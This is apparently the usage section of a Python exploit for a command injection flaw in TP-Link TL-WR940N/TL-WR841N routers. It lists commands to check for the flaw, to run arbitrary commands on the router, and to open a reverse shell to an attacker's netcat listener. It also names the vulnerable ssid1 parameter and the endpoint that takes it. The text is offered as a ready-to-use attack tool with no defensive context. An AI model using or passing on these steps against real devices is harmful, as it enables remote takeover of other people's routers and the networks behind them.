
Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability
Basic Vulnerability Check:
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
Execute Custom Command:
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
Reverse Shell (set up listener first with nc -lvnp 4444):
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
Important Notes:
The vulnerability exists due to improper input sanitization in the ssid1 parameter of the /userRpm/WlanNetworkRpm.htm endpoint, allowing command injection through specially crafted requests.